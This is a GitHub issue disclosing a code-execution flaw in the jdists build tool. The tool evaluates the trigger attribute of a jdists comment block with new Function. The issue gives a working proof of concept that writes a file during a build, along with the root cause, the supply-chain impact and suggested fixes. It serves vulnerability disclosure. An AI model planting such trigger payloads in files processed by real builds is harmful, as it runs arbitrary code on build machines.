Skip to content

RCE: trigger attribute in processed files is evaluated as JavaScript (arbitrary code execution during build) #16

Description

@zoahdev

Summary

When jdists processes a file, a crafted trigger attribute in a <!--jdists ... --> block is evaluated as JavaScript via new Function. Any file processed by jdists can therefore execute arbitrary code with the build process's privileges.

Root cause

lib/scope.js, around line 705, passes the block's trigger attribute to execTrigger, which evaluates it:

return new Function('return (' + trigger.replace(/(@|#|:)([\w-_]+)/g, ...) + ')')

No allowlist, no sandbox.

PoC (verified on jdists@2.2.4)

const jdists = require('jdists')
const fs = require('fs')

const content = '<!--jdists trigger="(require(\'fs\').writeFileSync(\'pwned.txt\',\'PWNED\'),true)"-->keep<!--/jdists-->'
jdists.build(content, { fromString: true, remove: '' })
// build output: "keep"
// pwned.txt is created — arbitrary code executed

Impact

  • Processing an untrusted file (third-party source, vendored code, CI artifact, downloaded template) executes arbitrary code with the build process privileges.
  • Amplifiers: global.require = require in lib/jdists.js exposes the full module system to the evaluated code.
  • Supply-chain scenario: a malicious file in a dependency or a crafted artifact processed in CI can compromise the build environment.

Secondary observation (not verified)

querySelector also evaluates quoted attribute values via new Function (lib/scope.js, selector parsing). It appears reachable via importation selectors; I did not fully verify a trigger path for it, so I am reporting the verified trigger vector only.

Suggested fix

  • Treat trigger as data: match against a fixed list of known trigger names (the current simple-trigger path ^([\w-_]+)(,[\w-_]+)*$ is safe) and reject anything else.
  • Never evaluate file-derived strings with new Function; if arbitrary expressions are required, use a real expression parser/sandbox.

No private vulnerability reporting channel found on this repo; reporting here. Happy to be credited if a security advisory is published.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions